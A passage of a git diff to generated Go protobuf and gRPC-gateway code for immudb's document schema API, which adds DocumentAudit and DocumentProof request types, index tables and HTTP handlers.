0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x30, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x96, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, + 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9d, + 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, + 0x74, 0x12, 0x2d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, + 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa2, + 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x12, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x30, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, + 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, + 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x42, 0xbf, 0x01, 0x5a, 0x34, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, + 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, + 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, + 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, + 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, + 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, + 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, + 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, + 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, + 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -1348,7 +1732,7 @@ func file_documentsschema_proto_rawDescGZIP() []byte { } var file_documentsschema_proto_enumTypes = make([]protoimpl.EnumInfo, 2) -var file_documentsschema_proto_msgTypes = make([]protoimpl.MessageInfo, 21) +var file_documentsschema_proto_msgTypes = make([]protoimpl.MessageInfo, 28) var file_documentsschema_proto_goTypes = []interface{}{ (QueryOperator)(0), // 0: immudb.documentsschema.QueryOperator (IndexType)(0), // 1: immudb.documentsschema.IndexType @@ -1358,65 +1742,83 @@ var file_documentsschema_proto_goTypes = []interface{}{ (*DocumentQuery)(nil), // 5: immudb.documentsschema.DocumentQuery (*DocumentSearchRequest)(nil), // 6: immudb.documentsschema.DocumentSearchRequest (*DocumentSearchResponse)(nil), // 7: immudb.documentsschema.DocumentSearchResponse - (*IndexOption)(nil), // 8: immudb.documentsschema.IndexOption - (*CollectionCreateRequest)(nil), // 9: immudb.documentsschema.CollectionCreateRequest - (*CollectionCreateResponse)(nil), // 10: immudb.documentsschema.CollectionCreateResponse - (*CollectionInformation)(nil), // 11: immudb.documentsschema.CollectionInformation - (*CollectionGetResponse)(nil), // 12: immudb.documentsschema.CollectionGetResponse - (*CollectionGetRequest)(nil), // 13: immudb.documentsschema.CollectionGetRequest - (*CollectionListRequest)(nil), // 14: immudb.documentsschema.CollectionListRequest - (*CollectionListResponse)(nil), // 15: immudb.documentsschema.CollectionListResponse - (*CollectionDeleteRequest)(nil), // 16: immudb.documentsschema.CollectionDeleteRequest - (*CollectionDeleteResponse)(nil), // 17: immudb.documentsschema.CollectionDeleteResponse - (*Proof)(nil), // 18: immudb.documentsschema.Proof - nil, // 19: immudb.documentsschema.CollectionCreateRequest.PrimaryKeysEntry - nil, // 20: immudb.documentsschema.CollectionCreateRequest.IndexKeysEntry - nil, // 21: immudb.documentsschema.CollectionInformation.PrimaryKeysEntry - nil, // 22: immudb.documentsschema.CollectionInformation.IndexKeysEntry - (*_struct.Struct)(nil), // 23: google.protobuf.Struct - (*schema.VerifiableTx)(nil), // 24: immudb.schema.VerifiableTx - (_struct.NullValue)(0), // 25: google.protobuf.NullValue - (*_struct.Value)(nil), // 26: google.protobuf.Value - (*empty.Empty)(nil), // 27: google.protobuf.Empty + (*DocumentProofRequest)(nil), // 8: immudb.documentsschema.DocumentProofRequest + (*DocumentProofResponse)(nil), // 9: immudb.documentsschema.DocumentProofResponse + (*DocumentAuditRequest)(nil), // 10: immudb.documentsschema.DocumentAuditRequest + (*DocumentAuditResponse)(nil), // 11: immudb.documentsschema.DocumentAuditResponse + (*DocumentAudit)(nil), // 12: immudb.documentsschema.DocumentAudit + (*IndexOption)(nil), // 13: immudb.documentsschema.IndexOption + (*CollectionCreateRequest)(nil), // 14: immudb.documentsschema.CollectionCreateRequest + (*CollectionCreateResponse)(nil), // 15: immudb.documentsschema.CollectionCreateResponse + (*CollectionInformation)(nil), // 16: immudb.documentsschema.CollectionInformation + (*CollectionGetResponse)(nil), // 17: immudb.documentsschema.CollectionGetResponse + (*CollectionGetRequest)(nil), // 18: immudb.documentsschema.CollectionGetRequest + (*CollectionListRequest)(nil), // 19: immudb.documentsschema.CollectionListRequest + (*CollectionListResponse)(nil), // 20: immudb.documentsschema.CollectionListResponse + (*CollectionDeleteRequest)(nil), // 21: immudb.documentsschema.CollectionDeleteRequest + (*CollectionDeleteResponse)(nil), // 22: immudb.documentsschema.CollectionDeleteResponse + (*Proof)(nil), // 23: immudb.documentsschema.Proof + nil, // 24: immudb.documentsschema.DocumentProofRequest.PrimaryKeysEntry + nil, // 25: immudb.documentsschema.DocumentAuditRequest.PrimaryKeysEntry + nil, // 26: immudb.documentsschema.CollectionCreateRequest.PrimaryKeysEntry + nil, // 27: immudb.documentsschema.CollectionCreateRequest.IndexKeysEntry + nil, // 28: immudb.documentsschema.CollectionInformation.PrimaryKeysEntry + nil, // 29: immudb.documentsschema.CollectionInformation.IndexKeysEntry + (*_struct.Struct)(nil), // 30: google.protobuf.Struct + (*schema.VerifiableTx)(nil), // 31: immudb.schema.VerifiableTx + (_struct.NullValue)(0), // 32: google.protobuf.NullValue + (*_struct.Value)(nil), // 33: google.protobuf.Value + (*empty.Empty)(nil), // 34: google.protobuf.Empty } var file_documentsschema_proto_depIdxs = []int32{ - 23, // 0: immudb.documentsschema.DocumentInsertRequest.document:type_name -> google.protobuf.Struct - 24, // 1: immudb.documentsschema.DocumentInsertResponse.proof:type_name -> immudb.schema.VerifiableTx - 25, // 2: immudb.documentsschema.IndexValue.null_value:type_name -> google.protobuf.NullValue + 30, // 0: immudb.documentsschema.DocumentInsertRequest.document:type_name -> google.protobuf.Struct + 31, // 1: immudb.documentsschema.DocumentInsertResponse.proof:type_name -> immudb.schema.VerifiableTx + 32, // 2: immudb.documentsschema.IndexValue.null_value:type_name -> google.protobuf.NullValue 0, // 3: immudb.documentsschema.DocumentQuery.operator:type_name -> immudb.documentsschema.QueryOperator - 26, // 4: immudb.documentsschema.DocumentQuery.value:type_name -> google.protobuf.Value + 33, // 4: immudb.documentsschema.DocumentQuery.value:type_name -> google.protobuf.Value 5, // 5: immudb.documentsschema.DocumentSearchRequest.query:type_name -> immudb.documentsschema.DocumentQuery - 23, // 6: immudb.documentsschema.DocumentSearchResponse.results:type_name -> google.protobuf.Struct - 1, // 7: immudb.documentsschema.IndexOption.type:type_name -> immudb.documentsschema.IndexType - 19, // 8: immudb.documentsschema.CollectionCreateRequest.primaryKeys:type_name -> immudb.documentsschema.CollectionCreateRequest.PrimaryKeysEntry - 20, // 9: immudb.documentsschema.CollectionCreateRequest.indexKeys:type_name -> immudb.documentsschema.CollectionCreateRequest.IndexKeysEntry - 11, // 10: immudb.documentsschema.CollectionCreateResponse.collection:type_name -> immudb.documentsschema.CollectionInformation - 21, // 11: immudb.documentsschema.CollectionInformation.primaryKeys:type_name -> immudb.documentsschema.CollectionInformation.PrimaryKeysEntry - 22, // 12: immudb.documentsschema.CollectionInformation.indexKeys:type_name -> immudb.documentsschema.CollectionInformation.IndexKeysEntry - 11, // 13: immudb.documentsschema.CollectionGetResponse.collection:type_name -> immudb.documentsschema.CollectionInformation - 11, // 14: immudb.documentsschema.CollectionListResponse.collections:type_name -> immudb.documentsschema.CollectionInformation - 27, // 15: immudb.documentsschema.CollectionDeleteResponse.response:type_name -> google.protobuf.Empty - 8, // 16: immudb.documentsschema.CollectionCreateRequest.PrimaryKeysEntry.value:type_name -> immudb.documentsschema.IndexOption - 8, // 17: immudb.documentsschema.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.documentsschema.IndexOption - 8, // 18: immudb.documentsschema.CollectionInformation.PrimaryKeysEntry.value:type_name -> immudb.documentsschema.IndexOption - 8, // 19: immudb.documentsschema.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.documentsschema.IndexOption - 2, // 20: immudb.documentsschema.DocumentService.DocumentInsert:input_type -> immudb.documentsschema.DocumentInsertRequest - 6, // 21: immudb.documentsschema.DocumentService.DocumentSearch:input_type -> immudb.documentsschema.DocumentSearchRequest - 9, // 22: immudb.documentsschema.DocumentService.CollectionCreate:input_type -> immudb.documentsschema.CollectionCreateRequest - 13, // 23: immudb.documentsschema.DocumentService.CollectionGet:input_type -> immudb.documentsschema.CollectionGetRequest - 14, // 24: immudb.documentsschema.DocumentService.CollectionList:input_type -> immudb.documentsschema.CollectionListRequest - 16, // 25: immudb.documentsschema.DocumentService.CollectionDelete:input_type -> immudb.documentsschema.CollectionDeleteRequest - 3, // 26: immudb.documentsschema.DocumentService.DocumentInsert:output_type -> immudb.documentsschema.DocumentInsertResponse - 7, // 27: immudb.documentsschema.DocumentService.DocumentSearch:output_type -> immudb.documentsschema.DocumentSearchResponse - 10, // 28: immudb.documentsschema.DocumentService.CollectionCreate:output_type -> immudb.documentsschema.CollectionCreateResponse - 12, // 29: immudb.documentsschema.DocumentService.CollectionGet:output_type -> immudb.documentsschema.CollectionGetResponse - 15, // 30: immudb.documentsschema.DocumentService.CollectionList:output_type -> immudb.documentsschema.CollectionListResponse - 17, // 31: immudb.documentsschema.DocumentService.CollectionDelete:output_type -> immudb.documentsschema.CollectionDeleteResponse - 26, // [26:32] is the sub-list for method output_type - 20, // [20:26] is the sub-list for method input_type - 20, // [20:20] is the sub-list for extension type_name - 20, // [20:20] is the sub-list for extension extendee - 0, // [0:20] is the sub-list for field type_name + 30, // 6: immudb.documentsschema.DocumentSearchResponse.results:type_name -> google.protobuf.Struct + 24, // 7: immudb.documentsschema.DocumentProofRequest.primaryKeys:type_name -> immudb.documentsschema.DocumentProofRequest.PrimaryKeysEntry + 31, // 8: immudb.documentsschema.DocumentProofResponse.proof:type_name -> immudb.schema.VerifiableTx + 25, // 9: immudb.documentsschema.DocumentAuditRequest.primaryKeys:type_name -> immudb.documentsschema.DocumentAuditRequest.PrimaryKeysEntry + 12, // 10: immudb.documentsschema.DocumentAuditResponse.results:type_name -> immudb.documentsschema.DocumentAudit + 30, // 11: immudb.documentsschema.DocumentAudit.value:type_name -> google.protobuf.Struct + 1, // 12: immudb.documentsschema.IndexOption.type:type_name -> immudb.documentsschema.IndexType + 26, // 13: immudb.documentsschema.CollectionCreateRequest.primaryKeys:type_name -> immudb.documentsschema.CollectionCreateRequest.PrimaryKeysEntry + 27, // 14: immudb.documentsschema.CollectionCreateRequest.indexKeys:type_name -> immudb.documentsschema.CollectionCreateRequest.IndexKeysEntry + 16, // 15: immudb.documentsschema.CollectionCreateResponse.collection:type_name -> immudb.documentsschema.CollectionInformation + 28, // 16: immudb.documentsschema.CollectionInformation.primaryKeys:type_name -> immudb.documentsschema.CollectionInformation.PrimaryKeysEntry + 29, // 17: immudb.documentsschema.CollectionInformation.indexKeys:type_name -> immudb.documentsschema.CollectionInformation.IndexKeysEntry + 16, // 18: immudb.documentsschema.CollectionGetResponse.collection:type_name -> immudb.documentsschema.CollectionInformation + 16, // 19: immudb.documentsschema.CollectionListResponse.collections:type_name -> immudb.documentsschema.CollectionInformation + 34, // 20: immudb.documentsschema.CollectionDeleteResponse.response:type_name -> google.protobuf.Empty + 4, // 21: immudb.documentsschema.DocumentProofRequest.PrimaryKeysEntry.value:type_name -> immudb.documentsschema.IndexValue + 4, // 22: immudb.documentsschema.DocumentAuditRequest.PrimaryKeysEntry.value:type_name -> immudb.documentsschema.IndexValue + 13, // 23: immudb.documentsschema.CollectionCreateRequest.PrimaryKeysEntry.value:type_name -> immudb.documentsschema.IndexOption + 13, // 24: immudb.documentsschema.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.documentsschema.IndexOption + 13, // 25: immudb.documentsschema.CollectionInformation.PrimaryKeysEntry.value:type_name -> immudb.documentsschema.IndexOption + 13, // 26: immudb.documentsschema.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.documentsschema.IndexOption + 2, // 27: immudb.documentsschema.DocumentService.DocumentInsert:input_type -> immudb.documentsschema.DocumentInsertRequest + 6, // 28: immudb.documentsschema.DocumentService.DocumentSearch:input_type -> immudb.documentsschema.DocumentSearchRequest + 10, // 29: immudb.documentsschema.DocumentService.DocumentAudit:input_type -> immudb.documentsschema.DocumentAuditRequest + 8, // 30: immudb.documentsschema.DocumentService.DocumentProof:input_type -> immudb.documentsschema.DocumentProofRequest + 14, // 31: immudb.documentsschema.DocumentService.CollectionCreate:input_type -> immudb.documentsschema.CollectionCreateRequest + 18, // 32: immudb.documentsschema.DocumentService.CollectionGet:input_type -> immudb.documentsschema.CollectionGetRequest + 19, // 33: immudb.documentsschema.DocumentService.CollectionList:input_type -> immudb.documentsschema.CollectionListRequest + 21, // 34: immudb.documentsschema.DocumentService.CollectionDelete:input_type -> immudb.documentsschema.CollectionDeleteRequest + 3, // 35: immudb.documentsschema.DocumentService.DocumentInsert:output_type -> immudb.documentsschema.DocumentInsertResponse + 7, // 36: immudb.documentsschema.DocumentService.DocumentSearch:output_type -> immudb.documentsschema.DocumentSearchResponse + 11, // 37: immudb.documentsschema.DocumentService.DocumentAudit:output_type -> immudb.documentsschema.DocumentAuditResponse + 9, // 38: immudb.documentsschema.DocumentService.DocumentProof:output_type -> immudb.documentsschema.DocumentProofResponse + 15, // 39: immudb.documentsschema.DocumentService.CollectionCreate:output_type -> immudb.documentsschema.CollectionCreateResponse + 17, // 40: immudb.documentsschema.DocumentService.CollectionGet:output_type -> immudb.documentsschema.CollectionGetResponse + 20, // 41: immudb.documentsschema.DocumentService.CollectionList:output_type -> immudb.documentsschema.CollectionListResponse + 22, // 42: immudb.documentsschema.DocumentService.CollectionDelete:output_type -> immudb.documentsschema.CollectionDeleteResponse + 35, // [35:43] is the sub-list for method output_type + 27, // [27:35] is the sub-list for method input_type + 27, // [27:27] is the sub-list for extension type_name + 27, // [27:27] is the sub-list for extension extendee + 0, // [0:27] is the sub-list for field type_name } func init() { file_documentsschema_proto_init() } @@ -1498,7 +1900,7 @@ func file_documentsschema_proto_init() { } } file_documentsschema_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*IndexOption); i { + switch v := v.(*DocumentProofRequest); i { case 0: return &v.state case 1: @@ -1510,7 +1912,7 @@ func file_documentsschema_proto_init() { } } file_documentsschema_proto_msgTypes[7].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionCreateRequest); i { + switch v := v.(*DocumentProofResponse); i { case 0: return &v.state case 1: @@ -1522,7 +1924,7 @@ func file_documentsschema_proto_init() { } } file_documentsschema_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionCreateResponse); i { + switch v := v.(*DocumentAuditRequest); i { case 0: return &v.state case 1: @@ -1534,7 +1936,7 @@ func file_documentsschema_proto_init() { } } file_documentsschema_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionInformation); i { + switch v := v.(*DocumentAuditResponse); i { case 0: return &v.state case 1: @@ -1546,7 +1948,7 @@ func file_documentsschema_proto_init() { } } file_documentsschema_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionGetResponse); i { + switch v := v.(*DocumentAudit); i { case 0: return &v.state case 1: @@ -1558,7 +1960,7 @@ func file_documentsschema_proto_init() { } } file_documentsschema_proto_msgTypes[11].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionGetRequest); i { + switch v := v.(*IndexOption); i { case 0: return &v.state case 1: @@ -1570,7 +1972,7 @@ func file_documentsschema_proto_init() { } } file_documentsschema_proto_msgTypes[12].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionListRequest); i { + switch v := v.(*CollectionCreateRequest); i { case 0: return &v.state case 1: @@ -1582,7 +1984,7 @@ func file_documentsschema_proto_init() { } } file_documentsschema_proto_msgTypes[13].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionListResponse); i { + switch v := v.(*CollectionCreateResponse); i { case 0: return &v.state case 1: @@ -1594,7 +1996,7 @@ func file_documentsschema_proto_init() { } } file_documentsschema_proto_msgTypes[14].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionDeleteRequest); i { + switch v := v.(*CollectionInformation); i { case 0: return &v.state case 1: @@ -1606,7 +2008,7 @@ func file_documentsschema_proto_init() { } } file_documentsschema_proto_msgTypes[15].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CollectionDeleteResponse); i { + switch v := v.(*CollectionGetResponse); i { case 0: return &v.state case 1: @@ -1618,6 +2020,66 @@ func file_documentsschema_proto_init() { } } file_documentsschema_proto_msgTypes[16].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionGetRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documentsschema_proto_msgTypes[17].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionListRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documentsschema_proto_msgTypes[18].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionListResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documentsschema_proto_msgTypes[19].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionDeleteRequest); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documentsschema_proto_msgTypes[20].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*CollectionDeleteResponse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_documentsschema_proto_msgTypes[21].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Proof); i { case 0: return &v.state @@ -1642,7 +2104,7 @@ func file_documentsschema_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_documentsschema_proto_rawDesc, NumEnums: 2, - NumMessages: 21, + NumMessages: 28, NumExtensions: 0, NumServices: 1, }, diff --git a/pkg/api/documentsschema/documentsschema.pb.gw.go b/pkg/api/documentsschema/documentsschema.pb.gw.go index ff8f03a9eb..e8b628a624 100644 --- a/pkg/api/documentsschema/documentsschema.pb.gw.go +++ b/pkg/api/documentsschema/documentsschema.pb.gw.go @@ -101,6 +101,74 @@ func local_request_DocumentService_DocumentSearch_0(ctx context.Context, marshal } +func request_DocumentService_DocumentAudit_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentAuditRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := client.DocumentAudit(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_DocumentService_DocumentAudit_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentAuditRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := server.DocumentAudit(ctx, &protoReq) + return msg, metadata, err + +} + +func request_DocumentService_DocumentProof_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentProofRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := client.DocumentProof(ctx, &protoReq, grpc.Header(&metadata.HeaderMD), grpc.Trailer(&metadata.TrailerMD)) + return msg, metadata, err + +} + +func local_request_DocumentService_DocumentProof_0(ctx context.Context, marshaler runtime.Marshaler, server DocumentServiceServer, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { + var protoReq DocumentProofRequest + var metadata runtime.ServerMetadata + + newReader, berr := utilities.IOReaderFactory(req.Body) + if berr != nil { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", berr) + } + if err := marshaler.NewDecoder(newReader()).Decode(&protoReq); err != nil && err != io.EOF { + return nil, metadata, status.Errorf(codes.InvalidArgument, "%v", err) + } + + msg, err := server.DocumentProof(ctx, &protoReq) + return msg, metadata, err + +} + func request_DocumentService_CollectionCreate_0(ctx context.Context, marshaler runtime.Marshaler, client DocumentServiceClient, req *http.Request, pathParams map[string]string) (proto.Message, runtime.ServerMetadata, error) { var protoReq CollectionCreateRequest var metadata runtime.ServerMetadata @@ -293,6 +361,52 @@ func RegisterDocumentServiceHandlerServer(ctx context.Context, mux *runtime.Serv }) + mux.Handle("POST", pattern_DocumentService_DocumentAudit_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) { + ctx, cancel := context.WithCancel(req.Context()) + defer cancel() + var stream runtime.ServerTransportStream + ctx = grpc.NewContextWithServerTransportStream(ctx, &stream) + inboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req) + rctx, err := runtime.AnnotateIncomingContext(ctx, mux, req) + if err != nil { + runtime.HTTPError(ctx, mux, outboundMarshaler, w, req, err) + return + } + resp, md, err := local_request_DocumentService_DocumentAudit_0(rctx, inboundMarshaler, server, req, pathParams) + md.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer()) + ctx = 